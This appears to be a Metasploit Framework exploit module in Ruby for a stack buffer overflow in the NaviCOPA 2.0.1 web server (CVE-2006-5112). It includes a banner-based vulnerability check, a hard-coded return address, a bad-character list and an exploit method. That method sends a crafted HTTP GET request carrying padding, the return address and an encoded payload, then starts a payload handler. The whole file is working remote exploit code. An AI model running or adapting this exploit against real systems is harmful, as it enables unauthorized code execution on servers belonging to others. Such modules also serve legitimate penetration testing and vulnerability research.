93 lines
2.0 KiB
Ruby
93 lines
2.0 KiB
Ruby
##
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# $Id:$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Http::Navicopa_Get_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in NaviCOPA 2.0.1.
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The vulnerability is caused due to a boundary error within the
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handling of URL parameters.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '20250' ],
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[ 'CVE', '2006-5112' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
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],
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'DisclosureDate' => 'Sep 28 2006',
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(80) ], self.class )
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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resp = sock.get_once
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disconnect
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if (resp =~ /2.01 11th September/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sploit = Rex::Text.rand_text_alphanumeric(228, payload_badchars)
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sploit << [target.ret].pack('V') + payload.encoded
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uri = '/' + sploit
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res = "GET #{uri} HTTP/1.1\r\n\r\n"
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print_status("Trying target %s" % target.name)
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sock.put(res)
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sock.close
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handler
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disconnect
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end
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end
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end
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